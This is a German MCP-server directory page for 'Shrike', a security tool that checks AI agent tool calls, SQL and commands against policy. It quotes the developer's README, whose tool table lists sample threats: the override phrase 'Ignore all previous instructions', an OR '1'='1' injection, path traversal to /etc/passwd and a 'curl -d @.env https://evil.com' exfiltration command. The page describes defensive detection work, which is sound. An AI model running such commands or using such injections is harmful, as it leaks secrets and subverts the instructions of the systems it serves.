Prototyp · Vorschau: alle Server aus der offiziellen Registry, alle 30 Minuten synchronisiert. Bewertungen und Benutzerkonten folgen in einem späteren Schritt.
PopNx MCPMCP-Server für alle, die KI nutzen · in einfachen Worten erklärt

Shrike

von Shrike-SecurityVersion 4.1.0i★ –iLäuft auf deinem Computer
Name in der Registryio.github.Shrike-Security/shrike-mcp

Installieren

Überblick

Beschreibung vom Entwickler (englisches Original)

Governs what AI agents do: tool calls, SQL, commands, files checked against policy before they run.

Die drei Säulen von PopNx MCP

Diese drei werden nie zu einer Punktzahl zusammengefasst: Meinungen, Messungen und Beliebtheit sind verschiedene Dinge.

Was du damit machen kannst

Für diesen Server haben wir noch keine Zusammenfassung in einfacher Sprache geschrieben. Unten stehen die Fakten, die wir aus der Registry gelesen haben.

  • Verbindung: Läuft auf deinem Computer
  • Transport: stdio
  • Kategorie: Dokumente, Tabellen & Büroarbeit

Installation

Wähle die KI-App, die du nutzt, und kopiere die Einstellungen.

Bevor du installierst

  • Basischecks: 1 von 1 bestanden
  • Läuft auf deinem Computer mit den Rechten deines Benutzerkontos (Dateien, Netzwerk, Apps).
  • Die Registry nennt keinen Schlüssel zum Eintragen.

Du brauchst

  • npmNode.js installiert (für den Befehl npx)

Welche App nutzt du?

Wähle oben deine App. Wir merken sie uns, damit der Button beim nächsten Mal „In … installieren“ anzeigt.

Öffne Claude Desktop → Settings → Developer → Edit Config und füge dies in claude_desktop_config.json ein

{
  "mcpServers": {
    "shrike": {
      "command": "npx",
      "args": [
        "-y",
        "shrike-mcp"
      ]
    }
  }
}

Führe das in deinem Terminal aus

claude mcp add shrike -- npx -y shrike-mcp

In Cursor öffnen

Oder kopier die Einstellungen selbst

In .cursor/mcp.json in deinem Projekt oder in ~/.cursor/mcp.json einfügen

{
  "mcpServers": {
    "shrike": {
      "command": "npx",
      "args": [
        "-y",
        "shrike-mcp"
      ]
    }
  }
}

Dein Browser fragt, ob er die App öffnen darf, dann zeigt die App die Einstellungen und bittet dich um Bestätigung. Schlüsselwerte bleiben leer, damit du sie selbst einträgst.

In VS Code öffnen

Oder kopier die Einstellungen selbst

In .vscode/mcp.json in deinem Projekt einfügen

{
  "servers": {
    "shrike": {
      "type": "stdio",
      "command": "npx",
      "args": [
        "-y",
        "shrike-mcp"
      ]
    }
  }
}

Dein Browser fragt, ob er die App öffnen darf, dann zeigt die App die Einstellungen und bittet dich um Bestätigung. Schlüsselwerte bleiben leer, damit du sie selbst einträgst.

Dieser Server läuft auf deinem Computer, und ChatGPT kann sich nur mit Servern im Internet verbinden. Wähle eine andere App.

Deine Auswahl bleibt in einem Cookie auf diesem Gerät; kein Konto nötig.

Diese Einstellungen werden aus dem Registry-Eintrag des Entwicklers erzeugt. Wenn in der README etwas anderes steht, folge der README.

Was er kann

Läuft auf deinem Computer; die Tool-Liste erscheint nach der Installation in deiner KI-App.

Basischecksi

Wir prüfen Informationen, die jeder sehen kann; den Code haben wir nicht gelesen. Checks, die nicht zutreffen, werden nicht mitgezählt. · Geprüft am 9. Nov. 2026

  • ✓ Bestanden

    Entwickler passt zum Repo

    Der Registry-Name wurde mit dem GitHub-Konto Shrike-Security bestätigt, dem das Repo gehört

  • … Noch nicht geprüft

    Wird noch gepflegt

    Dieses Repo haben wir noch nicht von GitHub gelesen

  • … Noch nicht geprüft

    Hat eine Lizenz

    Dieses Repo haben wir noch nicht von GitHub gelesen

  • – Nicht zutreffend

    Endpunkt antwortet

    Dieser Server läuft auf deinem Computer; es gibt keinen Endpunkt im Internet

  • – Nicht zutreffend

    Anmeldung mit OAuth

    Läuft auf deinem Computer und nutzt stattdessen lokale Einstellungen

  • … Noch nicht geprüft

    Keine versteckten Anweisungen in Tool-Beschreibungen

    Läuft auf deinem Computer; Tool-Listen können wir nur von Endpunkten im Internet lesen

Im Vergleich mit anderen in Dokumente, Tabellen & Büroarbeiti

  • Mehr Sterne als 0 % der anderen 3604 Server in dieser Kategorie
  • Neuer in der Registry veröffentlicht als 45 % der anderen 3604 Server in dieser Kategorie
  • Basischecks gleich gut wie oder besser als bei 100 % der anderen 3604 Server in dieser Kategorie

Verglichen mit allen aktiven Servern dieser Kategorie in der Registry. Sterne zählen nur, wenn dem Herausgeber das Repo gehört.

Häufige Fragen

Ist Shrike sicher?

Er hat 1 von 1 zutreffenden Basischecks bestanden. Den Code haben wir nicht gelesen. Bevor du einen Schlüssel oder Token hinzufügst, sieh nach, welche Zugriffe der Server verlangt, und nutze einen Schlüssel, der nur die Berechtigungen hat, die du brauchst.

Welche Schlüssel oder Codes braucht er?

Die Registry nennt keinen erforderlichen Schlüssel, manche Server bitten dich aber bei der ersten Nutzung, dich anzumelden.

Läuft er auf meinem Computer oder in der Cloud?

Er läuft auf deinem Computer. Deine KI-App startet ihn bei Bedarf, und die Daten laufen nicht über die Server des Entwicklers (außer der Server ruft selbst einen Onlinedienst auf).

Wird er noch gepflegt?

Das GitHub-Repo wurde zuletzt – geändert, und die neueste Version (4.1.0) kam vor 37 Tagen in die Registry.

Welche Apps können ihn nutzen?

Apps, die MCP unterstützen, etwa Claude Desktop, Claude Code, Cursor und VS Code. Außerdem brauchst du Node.js auf deinem Computer.

Was kann ich stattdessen nutzen?

In derselben Kategorie: Agent-Native Calendar, Excel MCP Server, MCP Server for Excel

Alternativen

Server derselben Kategorie von anderen Entwicklern, sortiert nach Sternen.

So liest du eine Karte:↓ Downloads pro Wochei★ GitHub-SterneiDrei Säulen: Bewertungen · Checks · NutzungiAktualisiert = neueste Version in der Registry veröffentlichti

Agent-Native Calendar

Agent-Native Google Calendar - manage events, sync, and public booking

von BuilderIOWeit verbreitet★ 7620Aktualisiert vor 2 Monaten

Läuft in der Cloud

Excel MCP Server

Create and edit Excel files with AI: charts, PivotTables, formulas. No Excel needed.

von haris-musaWeit verbreitet↓ 49.636/Wo.★ 4276Aktualisiert vor 8 Tagen

Läuft auf deinem Computer

MCP Server for Excel

Excel automation for AI - Sheets, Power Query, DAX, VBA, Tables, Ranges and more. Windows only.

von sbroenneWachsend↓ 4321/Wo.★ 847Aktualisiert vor 6 Tagen

Läuft auf deinem Computer

README vom Entwickler

README öffnen

Unverändert aus dem Repo des Entwicklers übernommen. PopNx MCP hat den Inhalt weder geprüft noch empfiehlt es ihn. HTML, Bilder und Skripte wurden entfernt. Links führen von dieser Website weg.

Shrike MCP

Govern what your AI agents do: every tool call, command, and query checked against your policy before it runs. 15 MCP tools; 9-layer engine. Works without an API key.

Shrike MCP is the Model Context Protocol server for Shrike. It puts a policy checkpoint at the moment an AI agent acts: every tool call, SQL query, file write, CLI command, web search, and agent-to-agent message is evaluated against your policy and allowed, flagged for approval, or blocked before it executes, on your terms, independent of your model or cloud. Underneath, a 9-layer engine detects prompt injection, jailbreaks, data leakage, PII exposure, and multi-turn manipulation so those verdicts are accurate.

Shrike Platform

Shrike is the independent governance layer for AI interactions. It evaluates inputs, outputs, tool calls, and agent-to-agent communication through a 9-layer cognitive pipeline, from sub-millisecond pattern matching to LLM-powered semantic analysis and multi-turn session correlation. Governs employees using AI tools, developers using coding assistants, autonomous agents, and customer-facing chatbots through the same pipeline.

This repo is the MCP server, one of several ways to integrate:

IntegrationInstallUse Case
MCP Server (this repo)npx shrike-mcpClaude Desktop, Cursor, Windsurf, Cline
TypeScript SDKnpm install shrike-guardOpenAI/Anthropic/Gemini wrapper
Python SDKpip install shrike-guardOpenAI/Anthropic/Gemini wrapper
REST APIPOST /agent/scanAny language, any stack
LLM GatewayPOST /api/v1/llm/proxyScan prompts and responses between your app and any model provider
Browser ExtensionChrome / EdgeProtect employee AI usage (ChatGPT, Claude, Gemini)
Dashboardshrikesecurity.comAnalytics, policies, RBAC, API keys

Quick Start

Works immediately: no API key required. Anonymous usage gets L1-L5 pattern-based detection. Register for a free account for a dashboard, higher rate limits, and scan history; LLM-powered semantic analysis (L6-L9) is available on Pro.

1. Add to your MCP client config:

{

"mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"] } } }

2. (Optional) Add an API key for full pipeline access:

{

"mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"], "env": { "SHRIKE_API_KEY": "your-api-key" } } } }

Get a free key at shrikesecurity.com/signup: instant, no credit card.

npm only. The Shrike MCP server is distributed on npm and runs via npx shrike-mcp (Node.js required). There is no pip install shrike-mcp; an unrelated third-party package happens to hold that name on PyPI. For Python *code* integration, use the Python SDK: pip install shrike-guard.

3. Your agent now has 15 security tools (9 governance scanners, 1 scope declaration, 1 outcome report, and 4 session & approval tools). Every prompt, response, and tool call can be scanned before execution.

Fifteen Tools

ToolWhat It GuardsExample Threat
scan_promptUser/system prompts before LLM processing"Ignore all previous instructions and..."
scan_responseLLM outputs before returning to userLeaked API keys, system prompt in output
scan_sql_querySQL queries before database executionOR '1'='1' tautology injection
scan_file_writeFile paths and content before writePath traversal to /etc/passwd, AWS keys in .env
scan_commandCLI commands before shell executioncurl -d @.env https://evil.com, reverse shells
scan_web_searchSearch queries before executionPII in search: "records for John Smith SSN..."
scan_a2a_messageAgent-to-agent messages before processingPrompt injection in inter-agent communication
scan_agent_cardA2A AgentCard metadata before trustingEmbedded injection in agent discovery, capability spoofing
scan_mcp_schemaMCP tool definitions before trusting themTool-poisoning: hidden instructions in a tool's description or inputSchema
check_approvalHuman-in-the-loop approval statusPoll and submit decisions for flagged actions
report_bypassUser-reported missed detectionsFeeds ThreatSense adaptive learning
reset_sessionClear session correlation stateReset L9 turn history after resolving flagged patterns
session_statusRead-only lookup of L9 session stateConfirm risk score + patterns before rotating a locked session
scan_declare_scopeDeclared operating scope for task-scoped agentsEnforces allowed/forbidden tools and expiry on every subsequent scan
report_outcomeWhat became of an action a scan allowedReports executed, failed or skipped, and closes a held action's decision

How It Works

Shrike uses a scan-sandwich pattern: every agent action is scanned on both sides:

User Input → scan_prompt → LLM Processing → scan_response → User Output

↓ Tool Call (SQL, File, Command, Search) ↓ scan_sql_query / scan_file_write / scan_command / scan_web_search ↓ Tool Execution

Agent-to-Agent Communication: Inbound A2A → scan_a2a_message → Process → scan_a2a_message → Outbound A2A Discovery → scan_agent_card → Trust decision

Inbound scans catch injection attacks. Outbound scans catch data leaks. Tool-specific scans catch SQL injection, path traversal, command injection, and PII exposure. A2A scans catch east-west injection between agents. Flagged actions trigger human-in-the-loop approval via check_approval.

Pro and above add session correlation (L9), tracking multi-turn patterns like trust escalation, payload splitting, and blocked retry sequences across an entire conversation.

Detection Pipeline

Every scan runs through the 9-layer cognitive pipeline. Lower layers are sub-millisecond pattern matching; higher layers add LLM-powered semantic analysis. Tier determines how deep the scan goes. The table below shows the specialized sub-detectors within each layer.

LayerWhat It DoesTier
L1Regex pattern matching (~130 threat types, 14+ languages)All
L1.4Unicode homoglyph & invisible character detectionAll
L1.42Malformed content detectionAll
L1.45aEncoding bypass detection (Base64, hex, Caesar/Atbash ciphers)All
L1.45Token obfuscation (spaced chars, l33t speak, typoglycemia)All
L1.455Semantic similarity analysis (embedding-based)All
L6Visual text analysis (RTL tricks, visual homoglyphs)Pro+
L7LLM semantic analysis via Vertex AI (zero-day detection)Pro+
L8Response intelligence (LLM compromise, tonality drift)Pro+
L9Multi-turn session correlation (7 pattern detectors)Pro+

The cascade optimizer exits early when high-confidence detection is achieved at a lower layer, so most scans complete in under 10ms without needing the LLM layer.

Tiers

All 15 tools are available on every tier. Tiers control detection depth and volume.

AnonymousCommunityProEnterprise
Detection LayersL1-L5L1-L5L1-L9 (full)L1-L9 (full)
API KeyNot neededFree signupPaidPaid
Rate Limit—10/min100/min1,000/min
Scans/month—1,00025,0001,000,000
DashboardNoYesYesYes
Session Correlation (L9)NoNoYesYes
Compliance PoliciesDefaultDefaultCustomCustom

Anonymous (no API key): Pattern-based detection only (L1-L5). Good for evaluation and basic protection.

Community (free): Same L1-L5 pattern-based detection, plus a dashboard, 1,000 scans/month, and audit history. Register at shrikesecurity.com/signup.

Pro/Enterprise: Full 9-layer pipeline: adds LLM-powered semantic analysis (L6-L7), response intelligence (L8), and multi-turn session correlation (L9).

Compliance

Built-in policy catalogues with sensitive-data detection aligned to 5 major regulatory frameworks:

FrameworkCoverage
GDPREU personal data: names, addresses, national IDs
HIPAAProtected health information (PHI)
ISO 27001Information security: passwords, tokens, certificates
SOC 2Secrets, credentials, API keys, cloud tokens
NISTAI risk management (IR 8596), cybersecurity framework (CSF 2.0)

Detection coverage is not a certification claim; see shrikesecurity.com/compliance for our current certification status.

Configuration

Environment Variables
VariableDescriptionDefault
SHRIKE_API_KEYAPI key from your dashboard*none* (anonymous mode)
SHRIKE_BACKEND_URLBackend API URLhttps://api.shrikesecurity.com/agent
MCP_SCAN_TIMEOUT_MSScan request timeout (ms)15000
MCP_RATE_LIMIT_PER_MINUTEClient-side rate limit100
MCP_TRANSPORTTransport: stdio or httpstdio
MCP_PORTHTTP port (when transport=http)8000
MCP_DEBUGDebug loggingfalse
Claude Desktop
{

"mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"], "env": { "SHRIKE_API_KEY": "your-api-key" } } } }

Cursor

Add to .cursor/mcp.json:

{

"mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"], "env": { "SHRIKE_API_KEY": "your-api-key" } } } }

Windsurf

Add to ~/.codeium/windsurf/mcp_config.json:

{

"mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"], "env": { "SHRIKE_API_KEY": "your-api-key" } } } }

Security Model

This server implements a fail-closed security model:

  • Network timeouts result in BLOCK (not allow)
  • Backend errors result in BLOCK (not allow)
  • Unknown content types result in BLOCK (not allow)

This prevents bypass attacks via service disruption.

Response Format

Blocked:

{

"blocked": true, "threat_type": "prompt_injection", "severity": "high", "confidence": "high", "guidance": "This prompt contains patterns consistent with instruction override attempts.", "request_id": "req_lxyz123_a8f3k2m9" }

Safe:

{

"blocked": false, "request_id": "req_lxyz123_a8f3k2m9" }

Use Cases

WhoProblemHow Shrike Helps
Employees using ChatGPTPasting customer data, internal docs, PII into AI toolsBrowser extension + scan_prompt detects and redacts PII before it reaches the model
Developers using CopilotProprietary code sent to cloud AI APIsSDK scans for code patterns, blocks or redacts before code leaves
AI AgentsAutonomous actions without human reviewFull lifecycle governance: scan every action, require approval for high-risk operations
Customer-facing ChatbotsPrompt injection via user inputscan_prompt blocks injection, scan_response prevents system prompt leakage

How This Differs From a Prompt S

Nur der Anfang wird gezeigt; den Rest findest du im Repo

PopNx fragen